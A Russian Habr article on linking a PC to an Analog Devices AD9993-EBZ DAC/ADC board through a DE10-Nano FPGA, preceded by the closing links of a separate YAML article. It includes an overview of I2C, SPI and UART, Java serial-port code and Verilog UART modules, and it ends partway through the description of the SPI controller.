У YAML есть еще несколько интересных фишек таких как: [многострочный ввод](https://rtfm.co.ua/what-is-yaml-obshhij-obzor-tipy-dannyx-yaml-vs-json-i-pyyaml/#vim_%D0%BF%D0%BB%D0%B0%D0%B3%D0%B8%D0%BD), [мерж блоков](https://riptutorial.com/yaml/example/14597/using-yaml-merge-keys-to-cross-reference-rows-from-another-yaml-table), [матрицы, наследование](https://habr.com/en/post/270097/) и другие.
Так как YAML — это расширенный JSON, то мы можем писать YAML-файл в JSON-формате, и он будет работать. Это отличная особенность, которая позволит легче начать изучение YAML.
P.S. Если кто-то хочет напоследок большей жести, то можете почитать про сравнение [YAML c XML](https://ru.wikipedia.org/wiki/YAML) или про [переход с XML на YAML](https://habr.com/ru/company/utex/blog/438362/).
#### Полезные ссылки и используемые материалы
1. [YAML для веб-разработчиков](https://dev.to/raulfdm/yaml-for-web-developers-559n)
2. [YAML. Общее описание. Википедия](https://ru.wikipedia.org/wiki/YAML)
3. [Документация](https://yaml.org/)
4. [Библиотечки для YAML](https://rtfm.co.ua/what-is-yaml-obshhij-obzor-tipy-dannyx-yaml-vs-json-i-pyyaml/#vim_%D0%BF%D0%BB%D0%B0%D0%B3%D0%B8%D0%BD)
5. [10 шагов к YAML-дзену](https://habr.com/ru/company/redhatrussia/blog/462125/)
6. [Некоторые приемы YAML](https://habr.com/ru/post/270097/)
|
https://habr.com/ru/post/525498/
| null |
ru
| null |
# Организовываем взаимодействие между ПК и ЦАП/АЦП при помощи ПЛИС
В современном цифровом мире необходимость ЦАП/АЦП (*цифро-аналоговых преобразователей/аналого-цифровых преобразователей*) не подвергается сомнению: они используются для обработки сигналов разнообразных датчиков, в звуковой аппаратуре, ТВ-тюнерах, платах видеовхода, видеокамерах и т.д.
Однако использование или отладка ЦАП/АЦП могут быть затруднены поставленными производителем аппаратуры ограничениями, например, на используемое ПО или на способы управления устройством. Это наводит на мысль о проектировании собственной модели взаимодействия.
В этой статье мы рассмотрим возможность организации взаимодействия между ПК и ЦАП/АЦП при помощи ПЛИС.
Предисловие
-----------
Основной целью данной статьи является описание решения конкретной задачи, а так же знакомство с интерфейсами взаимодействия интегральных микросхем (ИМС). Внимание основному предназначению ЦАП/АЦП здесь не отводится.
Статья требует некоторых знаний в объектно-ориентированном программировании и схемотехнике, так что если вы не знакомы с этими понятиями, рекомендуется начать с них.
Надеюсь, что опыт человека, который впервые сталкивается с проблемой коммуникации электронных устройств, будет кому-то полезен.
Всем удачи и новых свершений!
Небольшой ликбез на тему интерфейсов
------------------------------------
#### Дисклеймер
Если вы знакомы с устройством основных интерфейсов, использующихся для коммуникации ИМС, вы можете спокойно пропустить этот пункт.
**ликбез**
#### Общая информация
Интерфейс в общем своем определении является совокупностью средств и правил, обеспечивающих взаимодействие отдельных систем.
В рамках более узкой сферы физических интерфейсов, это понятие можно описать как способ взаимодействия физических устройств при помощи электрических (оптических, электромагнитных и т.д) сигналов. Интерфейс может содержать аппаратную, программную и конструктивную составляющую.
Если говорить простым языком, то под интерфейсом подразумевается некоторая инструкция по коммуникации между устройствами. Эта инструкция может содержать требования о конструкции разъема, физическом количестве линий и напряжении на них, способе соединения устройств, способе передачи данных и т.д. Инструкция эта известна заранее и приемнику, и передатчику. Это обязательное условие для совершения процесса передачи данных. Инструкция для коммуникации по определенному интерфейсу вшита в контроллер – микросхему, организующую передачу данных по выделенному порту. Контроллер берет на себя задачу приема сигнала и преобразования его в понятную для принимающего устройства форму, и наоборот. Так же контроллер ответственен за все процессы, происходящие со связанным с ним портом.
С целью не вдаваться в подробное перечисление классификаций, далее рассмотрены самые необходимые в дальнейшем понимании аспекты интерфейсов.
#### По способу соединения
С точки зрения способа соединения устройств (то бишь топологии сети), описанные в этой статье интерфейсы могут быть организованы в соединения:
* «точка-точка»;
* «шина»;
* «кольцо» («цепочка»).
Соединение **«точка-точка»** — простейший вид соединения, при котором два устройства соединяются между собой напрямую. Достоинством такого вида соединения является простота и дешевизна, недостатком — невозможность соединения таким способом более двух устройств.
Топология **«шина»** (или, как ее еще часто называют **«общая шина»** или **«магистраль»**) предполагает использование как минимум одного общего канала, к которому подсоединены все приемопередающие устройства. Общий канал используется всеми устройствами по очереди. Все сообщения, посылаемые отдельными устройствами, принимаются и прослушиваются всеми остальными устройствами, подключенными к сети. Из этого потока каждый абонент сети отбирает адресованные только ему сообщения.
В цепочечных интерфейсах (топология типа **«кольцо»**) устройства соединены последовательно. Недостатком является то, что при процессе обмена данными посылка проходит все устройства, что замедляет процесс адресации сообщения, а также при выходе из строя какого-либо звена цепи последующие подключенные устройства остаются без возможности коммуникации с сетью. Достоинством являются минимальные затраты на соединительное оборудование.
#### По способу передачи информации
По способу передачи информации интерфейсы различают:
* параллельные;
* последовательные;
* параллельно-последовательные.
В **параллельных** интерфейсах информация передается параллельно битами, одновременно по физическим линиям. Обычно используется несколько линий. Обмен информацией осуществляется за один такт обмена и предполагает фиксированную разрядность передаваемых данных. Передача данных происходит быстрее, чем в последовательном интерфейсе.
**Последовательный** интерфейс для передачи данных использует одну и более сигнальную линию, по которой информационные биты передаются друг за другом последовательно. Последовательная структура интерфейса находит применение в системах с малой интенсивностью потоков информации, а также в системах, имеющих ограничения на количество используемых линий.
**Смешанный** (параллельно-последовательный/байтовый) способ широко используется в системах с различной разрядностью представления данных у разных устройств
#### По режиму передачи
По режиму передачи информации различают интерфейсы:
* с двусторонней одновременной передачей (**дуплексные**);
* с двусторонней поочередной передачей (**полудуплексные**);
* с односторонней передачей (**симплексные**).
Для случая связи двух абонентов в **дуплексном** режиме каждый абонент может начать передачу информации другому в произвольный момент времени. Дуплексный режим предусматривает наличие как минимум двух линий обмена и отличается наибольшей интенсивностью обмена сообщениями.
При **полудуплексном** режиме любой из двух абонентов может начать передачу информации другому, если линия связи интерфейса при этом оказывается свободной.
Простым языком: если один абонент транслирует информацию, то другие абоненты сети в этот момент имеют право только «слушать» и ждать освобождения канала на случай если они хотят передать свое сообщение.
В **симплексном** режиме только один из двух абонентов может инициировать в любой момент времени передачу информации по интерфейсу. То есть этот режим предусматривает одностороннюю связь с заранее определенным приемником и передатчиком.
#### По принципу обмена информацией
По принципу обмена информацией интерфейсы подразделяют на:
* синхронные;
* асинхронные.
При **асинхронной** передаче каждый символ передается отдельной посылкой. Стартовые биты предупреждают приемник о начале передачи. Затем передаются информационные биты. Для определения достоверности передачи используется бит четности (бит четности – один из механизмов проверки принятых данных, по простому – если он равен единице, то количество единиц в посылке нечетно, и нулю в противном случае). Последний бит «стоп бит» сигнализирует об окончании передачи (может быть не использован в зависимости от интерфейса и его конфигурации). В некоторых системах используется механизм подтверждения принятия сообщений.
При использовании **синхронного** метода данные также передаются блоками, а для синхронизации работы приемника и передатчика зачастую выделяются дополнительная физическая линия, по которой передается сигнал тактовой синхронизации.
### О каких интерфейсах пойдет речь?
В настоящий момент самыми распространенными интерфейсами для взаимодействия между интегральными микросхемами (ИМС) являются синхронные **SPI** и **I2C** и асинхронный **UART**.
#### I2C
**I2C** – последовательная асимметричная шина для связи между интегральными схемами внутри электронных устройств. Шина I2C применяется для соединения низкоскоростных периферийных компонентов с процессорами и микроконтроллерами. I2C реализовывает передачу данных в полудуплексном режиме в формате «Ведущий-ведомый», в котором поддерживается несколько ведущих устройств.
Концепция стандарта состоит в том, что каждое подключенное к шине устройство определяется уникальным адресом, используемым при обращении к этому устройству. Такая концепция значительно упрощает идентификацию устройства, что позволяет интерфейсу иметь всего два канала. Классическая адресация включает 7-битное адресное пространство с 16 зарезервированными адресами. Это означает, что разработчикам доступно до 112 свободных адресов для подключения периферии к одной шине. Все операции по шине I2C осуществляются при помощи канала последовательных данных (SDA) и канала синхронизации (SCL).
*Диаграмма передачи данных по интерфейсу I2C*
#### SPI
**SPI** – последовательный синхронный стандарт передачи данных в режиме дуплекса, предназначенный для обеспечения простого и недорогого высокоскоростного сопряжения микроконтроллеров и периферии.
Шина SPI организована по принципу «ведущий-подчиненный». Ведущий шины передает данные по линии MOSI синхронно со сгенерированным им же сигналом SCLK, а подчиненный захватывает переданные биты данных по определенным фронтам принятого сигнала синхронизации. Одновременно с этим подчиненный отправляет свою посылку данных по линии MISO, тем самым организую дуплексную передачу данных. Так же подчиненное устройство ждет сигнала разрешения на передачу данных по линии SS.
*Диаграмма передачи данных по интерфейсу SPI*
#### UART
**UART** – универсальный асинхронный приемопередатчик – интерфейс для связи цифровых устройств, предназначенный для передачи данных в последовательной форме.
Основными каналами данного стандарта являются RxD (принимающий канал) и TxD (передающий канал).
Передача данных в UART осуществляется по одному биту по каналу TxD в равные промежутки времени. Этот временной промежуток определяется заданной скоростью и для конкретного соединения указывается в бодах. Так как UART является асинхронным интерфейсом, то помимо информационных бит, UART автоматически вставляет в поток синхронизирующие метки, так называемые стартовый и стоповый биты. При приеме данных эти биты не учитываются, так как они используются только для маркировки старта и окончания передачи информации. Обычно стартовый и стоповый биты обрамляют 8 бит данных (максимальный размер посылки), при этом младший информационный бит передается первым, однако эта конфигурация является настраиваемой.
Изначально UART предназначался для связи двух устройств по принципу «точка-точка». Впоследствии были созданы физические уровни, которые позволяют связывать более двух UART по принципу полудуплекса. Существуют реализации типа «общая шина» и «кольцо».
*Диаграмма передачи данных по интерфейсу UART*
Что это за ЦАП?
---------------
*Вроде не этот*
Для начала определимся с используемым ЦАП/АЦП:
Отладочная плата Analog Devices AD9993-EBZ представляет собой устройство, объединяющее четыре 14-битных АЦП и два 14-битных ЦАП.
Управление режимами работы этой ИМС осуществляется за счет изменения состояния ее внутренних регистров. В AD9993 используются 66 регистров с размером хранимого (обрабатываемого) слова в 8 бит, адреса которых описываются трехразрядными шестнадцатеричными значениями (12 бит данных). Поддерживаются два типа команд – команда чтения и команда записи. Другими словами, для того, чтобы корректировать работу ИМС, необходимо передать команду записи некоторого допустимого 8-битного значения по определенному адресу регистра. Доступ к регистрам данной ИМС осуществляется через последовательный периферийный интерфейс (SPI), подключение к которому на отладочной плате реализовано через 40-контактный разъем FIFO\_0 или через дополнительно устанавливаемую контактную группу.
*Вроде этот (FIFO\_0 – верхний серый разъем)*
Основные требования по предельным параметрам интерфейса SPI:
* Максимальная частота передачи данных – 25 МГц;
* Продолжительность верхнего и нижнего уровня на линии генерации синхросигналов – 10 нс;
* Время установки уровня на линиях передачи данных и на линии разрешения – 2 нс;
* Время удержания уровня на линиях передачи данных и на линии разрешения – 2 нс;
* Гарантированное время действительности одного бита данных на линии передачи ведомого устройства – 2нс.
Полное описание характеристик устройства можно найти в его [документации](https://www.analog.com/media/en/technical-documentation/data-sheets/AD9993.pdf).
Что говорит производитель?
--------------------------
#### Рекомендованная схема управления
Исходя из документации AD9993-EBZ, рекомендованным способом управления ИМС является использование отладочной платы Analog Devices HSC-ADC-EVALC, подключенной к ИМС по 40-контактному порту, и к ПК по интерфейсу USB.
В качестве ПО для управления используется SPIController.
*Рекомендованная схема*
*Analog Devices HSC-ADC-EVALC (базируется на ПЛИС Xilinx Virtex-4)*
**минусы:**
* **Высокая стоимость.** Отладочная плата HSC-ADC-EVALC на официальном сайте Analog Devices предлагается по цене $698.28.
* **Неудобный пользовательский интерфейс.** ПО SPIController, помимо основной функции записи и чтения регистров, не предоставляет возможности сохранения или запланированного запуска команд.
* **Ограниченная совместимость.** Для управления других ИМС с возможностью взаимодействия по интерфейсу SPI требуется найти и добавить отдельный файл конфигурации для ПО SPIController, разработанный специально для этой ИМС. Список доступных для управления ИМС ограничен продукцией Analog Devices, поддерживающий конфигурирование по интерфейсу SPI.
*Пользовательский интерфейс SPIController*
**плюсы:**
* Официальная поддержка производителя.
#### Немного об HSC-ADC-EVALC
Хочется отметить, что использование платы Analog Devices HSC-ADC-EVALC в качестве устройства управления ЦАП/АЦП не является его главным предназначением.
HSC-ADC-EVALC главным образом используется как плата буферной памяти для АЦП, однако она также имеет функционал конфигурирования отладочных плат через интерфейс SPI, если подключенные платы это поддерживают.
Собственная модель взаимодействия
---------------------------------
#### Причина использования промежуточного устройства
Очевидным является факт того, что взаимодействие ЦАП/АЦП и ПК невозможно организовать напрямую, так как SPI, с помощью которого предусмотрено программирование AD9993-EBZ, не является типовым интерфейсом современного ПК.
Для решения поставленной задачи необходимо было использовать устройство-посредник, который бы преобразовывал данные из интерфейса USB, посылаемые с компьютера, в формат интерфейса SPI, поддерживающийся ИМС.
В ходе прорабатывания вариантов выбор пал на использование отладочной платы Terasic DE10-Nano, работающей на базе ПЛИС Cyclone V.
*Собственная модель взаимодействия*
#### Почему ПЛИС – это круто?
Основные преимущества использования ПЛИС:
* **Удобство разработки.** DE10-Nano позволяет гибко реализовать взаимодействие с подключенными устройствами, так как в отличие от обычных цифровых микросхем, логика работы ПЛИС не определяется при изготовлении, а задается посредством программирования. Для программирования используются программатор и IDE, позволяющие задать желаемую структуру цифрового устройства в виде принципиальной электрической схемы или программы на языке описания аппаратуры Verilog.
* **Низкая стоимость.** Цена DE10-Nano выгодно отличается от HSC-ADC-EVALC ($110 против $698.28). Помимо этого DE10-Nano все еще остается универсальным устройством, способы применения которого ограничиваются только фантазией его владельца.
* **Перспективы.** В дальнейшем проект для ПЛИС можно дополнить функционалом буферной памяти для АЦП, тем самым полностью заменяя предлагаемое производителем решение.
* **Коммьюнити.** В интернете имеется огромное количество FPGA-ориентированных блогов и статей (FPGA – *field-programmable gate array* – интернациональное определение полупроводниковых устройств, программируемых на уровне принципиальной схемы), что является неоспоримым плюсом для неопытного инженера (коим автор статьи и является). Отдельного упоминания заслуживает форум [rocketboards](https://rocketboards.org/) c кучей готовых проектов и гайдов к ним.
Процесс проектирования
----------------------
#### Ничего не предвещало беды...
В ходе проектирования модели взаимодействия было принято решение реализовать интерфейс SPI на основе GPIO (пинов общего назначения), контактная база которого имеется на DE10-Nano. Реализация контроллера SPI на базе ПЛИС не должна была создавать особых проблем благодаря большому количеству материалов на схожую тему.
Однако затруднения вызвала реализация подключения ПЛИС к компьютеру по интерфейсу USB.
DE10-Nano имеет следующие порты USB:
* USB mini-B под управлением чипа FT232R, реализующий подключение UART to USB.
* USB mini-B под управлением чипа SMSC USB3300, реализующий физический уровень интерфейса USB, а так же использующийся для программирования ПЛИС.
Использование этих портов затруднено тем, что коммуникация DE10-Nano с этими портами происходит через так называемую **HPS** (*hard processor system*) – часть чипа Cylone V, которая содержит микропроцессорный модуль, процессор ARM Cortex, контроллеры флеш-памяти и многое другое. Основное отличие HPS от ПЛИС – HPS представляет собой блоки неизменной структуры, оптимизированные для определенной функции и не имеющие средств её программирования (поэтому и hard).
Части HPS и ПЛИС чипа Cyclone V имеют свои собственные контакты. Эти контакты не делятся свободно между HPS и ПЛИС. Контакты HPS конфигурируются программным обеспечением, выполняемым в HPS. Контакты ПЛИС программируются с помощью образа конфигурации ПЛИС через HPS или любой другой поддерживающийся внешний источник.
Для того, чтобы организовать взаимодействие программируемой логики чипа Cyclone V с этими портами, необходимо создать специальный загрузчик Linux, работающий на HPS, а также необходимо разработать программу, которая способна передавать сигналы с контроллеров доступных портов USB на свободные контакты ПЛИС.
На текущем этапе знаний этот вопрос оказался непосильным, так что было принято решение найти другой способ. Однако, для людей, столкнувшихся с подобной проблемой и решившихся разобраться в ней, может быть полезной почитать [статью](https://rocketboards.org/foswiki/Projects/MappingHPSPeripheralsLikeICOrCANOverTheFPGAFabricToFPGAIOAndUsingEmbeddedLinuxToControlThemIntelCycloneV) о возможном решении.
#### Выход есть!
Плотно прошерстив просторы Интернета, решено было использовать внешний контроллер UART.
Внешний контроллер UART представляет собой небольшую плату на базе чипа FT232RL. На плате установлены разъемы miniUSB-B для связи с компьютером и 6-контактный разъем для связи с микроконтроллерами и устройствами.
Подключение контроллера происходит по интерфейсу USB к ПК, и через контактную базу GPIO к DE10-Nano.
*Сам контроллер от компании Waveshare (использован в проекте)*
Использование интерфейса UART поверх USB для передачи данных с ПК фактически лишает необходимости разбираться со сложным и многослойный устройством протокола USB. С этого момента взаимодействие по интерфейсу USB больше не является нашей заботой, так как эта задача отводится драйверам, предустановленным в системе или самостоятельно установленным пользователем.
Помимо линий питания и земли, а также линий передачи и приема данных, на плате присутствуют контакты, подписанные как RTS и CTS. Эти контакты используются для так называемого управления потоком – механизма, предназначенного для сигнализировании о готовности принимать данные со стороны ведущего или ведомого устройства в зависимости от состояния линий. Использование этих линий не является необходимостью, поэтому для отключения механизма необходимо указать в настройках драйвера компьютера что управление потоком не используется (обычно такая конфигурация является дефолтной).
При подключении к ПК в системе Windows контроллер UART определяется как последовательный виртуальный порт. Следовательно, разработка схемы взаимодействия с ПК сводится к созданию ПО с функционалом взаимодействия с последовательным виртуальным портом, а также к разработке проекта для ПЛИС, реализующего прием/передачу данных по интерфейсу UART.
Внешний контроллер UART по сути является абсолютным аналогом уже имеющегося на DE10-Nano контроллера, однако единственным его преимуществом является возможность непосредственного подключения к свободным контактам ПЛИС. Стоимость подобного устройства колеблется от $5 до $10.
Разработка ПО
-------------
#### Общая информация
Как уже было сказано, разработка ПО для ПК сводится к созданию программы, поддерживающей обмен информацией с виртуальным последовательным портом. В ходе анализа доступных программных средств для разработки ПО выбор пал на язык программирования Java 8-ой редакции c использованием библиотеки RTXT.
Java – это строго типизированный объектно-ориентированный язык программирования, обладающий рядом ключевых особенностей. В частности – программы, написанные на ЯП Java транслируются в специальный байт-код, что позволяет им выполняться на любой компьютерной архитектуре, для которой существует реализация виртуальной Java-машины.
Стандартные библиотеки Java не имеют возможности взаимодействовать с виртуальным последовательным портом. Именно для этого была использована библиотека RTXT. RTXT распространяется по лицензии свободного программного обеспечения. Библиотека использует системную реализацию взаимодействия с интерфейсами и предоставляет классы для анализа, подключения, операций чтения и записи, использующие последовательный порт. Больше про эту библиотеку можно найти [тут](http://rxtx.qbang.org/wiki/index.php/Main_Page).
В качестве инструмента для разработки пользовательского интерфейса использована старая, но надежная встроенная библиотека Swing. Благодаря возможности изменения тем, простой UI на Swing может выглядеть ~~не уродливо~~ более-менее современно.
Сама программа по-спартански простая и в основном использует документированные возможности библиотеки RTXT.
#### Основной функционал программы
Вот так происходит определение доступных портов:
```
public String[] getPorts() {
ports = CommPortIdentifier.getPortIdentifiers();
while (ports.hasMoreElements()) {
CommPortIdentifier curPort = (CommPortIdentifier) ports.nextElement();
if (curPort.getPortType() == CommPortIdentifier.PORT_SERIAL) {
portMap.put(curPort.getName(), curPort);
}
}
return portMap.keySet().toArray(new String[0]);
}
```
Подключение к выбранному порту:
```
public void connect() {
String selectedPort = (String)gui.ports.getSelectedItem();
selectedPortIdentifier = portMap.get(selectedPort);
CommPort commPort;
try{
commPort = selectedPortIdentifier.open("UART controller", TIMEOUT);
serialPort = (SerialPort)commPort;
serialPort.setSerialPortParams(BAUD_RATE, SerialPort.DATABITS_8, SerialPort.STOPBITS_1, SerialPort.PARITY_NONE);
gui.writeLog(selectedPort + " opened successfully.");
}catch (PortInUseException e){
gui.writeLogWithWarning(selectedPort + " is in use. (" + e.toString() + ")");
}catch (Exception e){
gui.writeLogWithWarning("Failed to open " + selectedPort + " (" + e.toString() + ")");
}
}
```
Процесс передачи данных:
```
public boolean writeData(byte[] bytes){
boolean successfull = false;
try {
gui.writeLog("WRITING: " + HexBinUtil.stringFromByteArray(bytes));
output.write(bytes);
output.flush();
successfull = true;
}
catch (Exception e) {
gui.writeLogWithWarning("Failed to write data. (" + e.toString() + ")");
}
return successfull;
}
```
Прием данных:
```
public void serialEvent(SerialPortEvent serialPortEvent) {
if (serialPortEvent.getEventType() == SerialPortEvent.DATA_AVAILABLE) {
try {
byte singleData = (byte)input.read();
gui.writeLog("READING: " + HexBinUtil.stringFromByteArray(singleData));
}
catch (Exception e) {
gui.writeLogWithWarning("Failed to read data. (" + e.toString() + ")");
}
}
}
```
Как уже было сказано, управление ЦАП/АЦП происходит посредством передачи команды записи некоторого допустимого 8-битного значения по определенному адресу регистра, описанного в документации. Для определения текущего состояния регистра, необходимо передать команду чтения и указать адрес запрашиваемого регистра. Полное описание как всегда в [документации](https://www.analog.com/media/en/technical-documentation/data-sheets/AD9993.pdf).
#### Передача данных по UART
В ходе изучения AD9993-EBZ было выяснено, что в доступном 12-ти битном адресном пространстве регистров используются только 8 бит данных. Так же передаваемое значение состояния регистра описывается 8-мью битами. Для определения типа передачи данных (запись/чтение) требуется передать 1 бит данных.
Так как текущее ограничение на максимальный размер посылки по интерфейсу UART является 8 бит данных, было принято решение о передаче 3 последовательных посылок размером 8 бит при процессе записи и 2 посылки при процессе чтения.
Первая посылка будет содержать тип передачи данных, продублированной на весь размер посылки. Следовательно, возможных значений может быть всего два: 00000000 для чтения и 11111111 для записи соответственно. Использование целой посылки для передачи одного бита данных было сделано для упрощение дальнейшей обработки принятых сигналов.
Далее передается адрес запрашиваемого регистра и передаваемое значение состояния регистра при процессе записи.
*Осциллограмма разрабатываемой посылки UART*
#### Пользовательский интерфейс
Основными элементами пользовательского интерфейса ПО являются кнопки подключения/отключения от доступных последовательных портов (элементы 3,4), поля ввода адреса и значения регистра (элементы 7,8), окно логов (элемент 6). ПО спроектировано с возможностью взаимодействия с ним в двух состояниях: «подключен к порту» и «отключен от порта». Состояния определяют активность некоторых элементов на интерфейсе программы, а также ограничивают возможность исполнения определенных методов с целью уменьшения вероятности ошибок и некорректного использования ПО. При включении программа находится в состоянии «отключен от порта». Так же в целях облегчения работы с программой (что и я являлось одной из главных целей проекта) был добавлен функционал подключения файлов с уже сохраненными командами в формате JSON (элемент 10).
Процесс загрузки команд:
*Выбор файла*
*Интерфейс с командами*
Функционал позволяет сортировать загруженные команды по разделам (элемент 12), настраивать процесс работы с подключенными командами (отправлять ли команду на последовательный порт сразу при нажатии, или заполнять поля адреса и значения в соответствии с выбранной командой).
Разработка проекта для ПЛИС
---------------------------
### Общая информация
Прежде чем начать разработку проекта для ПЛИС, необходимо определиться с задачей, которую он обязан решить.
Звучит она примерно так: *проект для ПЛИС должен поддерживать представленное ниже преобразование данных:*
*Диаграмма преобразования данных*
*На вход DE10-Nano поступают сигналы с линии Tx интерфейса UART (верхний сигнал). Далее ПЛИС необходимо правильно определить принятые данные из трех посылок по 8 бит каждая и преобразовать их в соответствующий документации формат посылки SPI (представлен в 4 линиях).*
Основными модулями, необходимыми для реализации данного преобразования, являются модуль контроллера UART и модуль контроллера SPI. Именно им отводится оставшаяся часть главы.
При разработке проектов для ПЛИС использовалась IDE Qartus Prime Lite Edition 17-ой версии.
Если вы не имеете опыта использования Quartus или вообще не программировали ПЛИС, рекомендуется начать с понятного (по моему мнению) [примера](https://software.intel.com/content/www/us/en/develop/articles/how-to-program-your-first-fpga-device.html) первого проекта на Quartus.
Хочется отметить, что все описанные далее выжимки из кода на языке Verilog являются компиляцией решений, найденных в интернете, которые не претендуют ни на какую оригинальность. Повторюсь, что основной целью данного проекта является решение конкретной проблемы.
### Контроллер UART
#### Описание
Контроллер UART состоит из трех модулей:
* генератор импульсов;
* модуль записи;
* модуль чтения.
Рекомендуется посмотреть [эту статью](http://electronoobs.com/eng_circuitos_tut26_2.php), с которой была взята большая часть инфы. Далее я буду фокусироваться только на самых главных (по моему мнению) деталях реализации.
#### Генератор импульсов
Так как интерфейс UART является асинхронным, то для корректного принятия передаваемого сигнала приемнику требуется генерировать собственный опорный сигнал, позволяющий правильно определять начало нового бита информации.
Существует общепринятый ряд стандартных скоростей для UART: 300; 600; 1200; 2400; 4800; 9600; 19200; 38400; 57600; 115200; 230400; 460800; 921600 бод. В нашем случае передача данных происходит на скорости 9600 бод. Далее нам нужно получить генератор с частотой, в 16 раз превышающую скорость символов. Это необходимо для того, чтобы корректно детектировать уровень передаваемого сигнала.
Для генерирования импульсов используется имеющийся в чипе генератор с частотой 50 МГц. Чтобы получить искомую частоту, требуется учитывать каждый 325-ый импульс генератора.
Вот так это будет выглядеть на языке Verilog:
```
input Clk; // генератор импульсов 50МГц
input Rst_n; // Сигнал сброса работы контроллера
input [15:0] BaudRate; // количество пропускаемых импульсов, равно 325
output Tick; // выходная линия
reg [15:0] baudRateReg; // счетчик
always @(posedge Clk or negedge Rst_n)
if (!Rst_n) baudRateReg <= 16'b1;
else if (Tick) baudRateReg <= 16'b1;
else baudRateReg <= baudRateReg + 1'b1;
assign Tick = (baudRateReg == BaudRate);
endmodule
```
#### Модуль чтения
Модуль чтения производит преобразование входного сигнала с линии RX в выходной 8-разрядный массив данных.
Непосредственно чтение и передача прочитанных данных на выход:
```
input Clk, Rx,Tick; // входной генератор 50МГц, линия Rx, генератор опорных импульсов
input [3:0]NBits; // количество бит в одной посылке, равно 8
output RxDone; // сигнализирование о законченном процессе чтения
output [7:0]RxData; // прочитанные данные
reg read_enable = 1'b0; // регистр разрешения чтения
reg RxDone = 1'b0; // регистр окончания чтения
reg [3:0] counter = 4'b0000; // счетчик опорных имульсов
reg start_bit = 1'b1; // регистр для детектирования старт бита
reg [4:0]Bit = 5'b00000; // текущее количество прочитанных битов
reg [7:0] RxData; // выходной массив прочитанных данных
reg [7:0] Read_data= 8'b00000000; // промежуточный массив прочитанных данных
always @ (posedge Tick) // каждый раз при детектировании переднего фронта опорного сигнала
begin
if (read_enable)
begin
RxDone <= 1'b0; //сбрасывание регистра конца передачи
counter <= counter+1'b1; //инкрементирование счетчика
if ((counter == 4'b1000) & (start_bit)) // определение стартового бита
begin
start_bit <= 1'b0;
counter <= 4'b0000;
end
if ((counter == 4'b1111) & (!start_bit) & (Bit < NBits)) //последующее чтении данных
begin
Bit <= Bit+1'b1;
Read_data <= {Rx,Read_data[7:1]};
counter <= 4'b0000;
end
if ((counter == 4'b1111) & (Bit == NBits) & (Rx)) //определение стоп бита
begin
Bit <= 4'b0000;
RxDone <= 1'b1; // выставление значение регистра окончания чтения данных
counter <= 4'b0000; // сбрасывание счетчика
start_bit <= 1'b1; //сбрасывание регистра стартового бита
end
end
end
always @ (posedge Clk)
begin
if (NBits == 4'b1000) //если записано 8 бит данных, передаем их на выход
begin
RxData[7:0] <= Read_data[7:0];
end
end
```
#### Модуль передачи
Модуль передачи преобразует 8-разрядных входной сигнал в последовательный пакет данных стандарта UART.
Непосредственная передача данных:
```
input Clk, Rst_n, TxEn; //генератор 50Гц, сигнал сброса, сигнал разрешения чтения
input Tick; //генератор опорных импульсов
input [3:0]NBits; //количество бит в посылке
input [7:0]TxData;
output Tx;
output TxDone;
reg Tx;
reg TxDone = 1'b0;
reg write_enable = 1'b0;
reg start_bit = 1'b1;
reg stop_bit = 1'b0;
reg [4:0] Bit = 5'b00000;
reg [3:0] counter = 4'b0000;
reg [7:0] in_data=8'b00000000;
always @ (posedge Tick) // каждый раз при детектировании переднего фронта опорного сигнала
begin
if (!write_enable)
begin
TxDone = 1'b0;
start_bit <=1'b1;
stop_bit <= 1'b0;
end
if (write_enable)
begin
counter <= counter+1'b1; //инкрементирование счетчика
if(start_bit & !stop_bit)//запись старт бита и передача записываемых данных в массив
begin
Tx <=1'b0;
in_data <= TxData;
if ((counter == 4'b1111) & (start_bit) ) //запись первого бита данных
begin
start_bit <= 1'b0;
in_data <= {1'b0,in_data[7:1]};
Tx <= in_data[0];
end
if ((counter == 4'b1111) & (!start_bit) & (Bit < NBits-1)) //запись последующих битов
begin
in_data <= {1'b0,in_data[7:1]};
Bit<=Bit+1'b1;
Tx <= in_data[0];
start_bit <= 1'b0;
counter <= 4'b0000;
end
if ((counter == 4'b1111) & (Bit == NBits-1) & (!stop_bit)) //запись стоп бита
begin
Tx <= 1'b1;
counter <= 4'b0000;
stop_bit<=1'b1;
end
if ((counter == 4'b1111) & (Bit == NBits-1) & (stop_bit) ) //сброс регистров
begin
Bit <= 4'b0000;
TxDone <= 1'b1;
counter <= 4'b0000;
//start_bit <=1'b1;
end
end
end
```
### Контроллер SPI
#### Важное отступление
Так как контроллер SPI, реализованный на базе ПЛИС, представляет собой более сложную логическую структуру, чем контроллер UART, то дальнейшее объяснение логики работы легче провести на схемотехнической модели контроллера.
#### Общая схема контроллера
Разработанную модель можно разделить на 3 основных модуля:
* модуль последовательной записи;
* модуль битового счетчика;
* модуль анализатора ошибок.
Разделение на модули достаточно условное, так как схема имеет высокую связность между использованными элементами. Разделение основано на задачах, которые выполняют отдельные группы элементов, представленные на общей схеме.
Тактирование работы схемы обеспечивается сигналом частоты 12,5 МГц, подаваемым через линию CLK\_125.
Запуск работы контроллера по формированию посылки управления осуществляется сигналом «START». По этому сигналу все модули схемы устанавливаются в исходное состояние и инициализируется начало цикла формирования требуемых сигналов на выходных линия CLK, SS, MOSI интерфейса SPI
#### Модуль последовательной записи
Модуль последовательной записи выполнят основную задачу контроллера SPI, а именно – выдачу параллельных битовых данных в последовательную линию MOSI. Происходит это благодаря элементу RG\_24\_PI\_SO, который функционирует по принципу сдвигового регистра, основанного на D-триггерах.
Элемент RG\_24\_PI\_SO имеет 24 входа данных, соответствующих документации AD9993-EBZ о формате посылки SPI. В них входят:
* Данные команды (DATA\_0–DATA\_7);
* Данные адреса регистра (ADR\_0–ADR\_12);
* Бит режима записи/чтения W/R.
Представленные сигналы параллельно записываются при уровне логической «1» на входе LoadP\_ShiftN. Далее при уровне логического «0» на входе LoadP\_ShiftN при каждом такте синхросигнала на входе CLK элемент поочередно воспроизводит записанные данные в последовательную линию выхода MOSI.
#### Модуль битового счетчика
Модуль битового счетчика необходим для определения длительности сигнала разрешения записи данных на линии SS интерфейса SPI. Так как, согласно документации AD9993-EBZ, длительность сигнала разрешения должна быть равна суммарной длительности передаваемых данных, возникает необходимость отсчета 24-х синхроимпульсов с начала передачи данных для определения необходимой длительности сигнала разрешения. Функцию счета выполняет элемент ST\_32, который при определении 24-го сигнала синхроимпульса воспроизводит сигнал, который используется для обнуления счетчика, а также для окончания передаваемого сигнала разрешения.
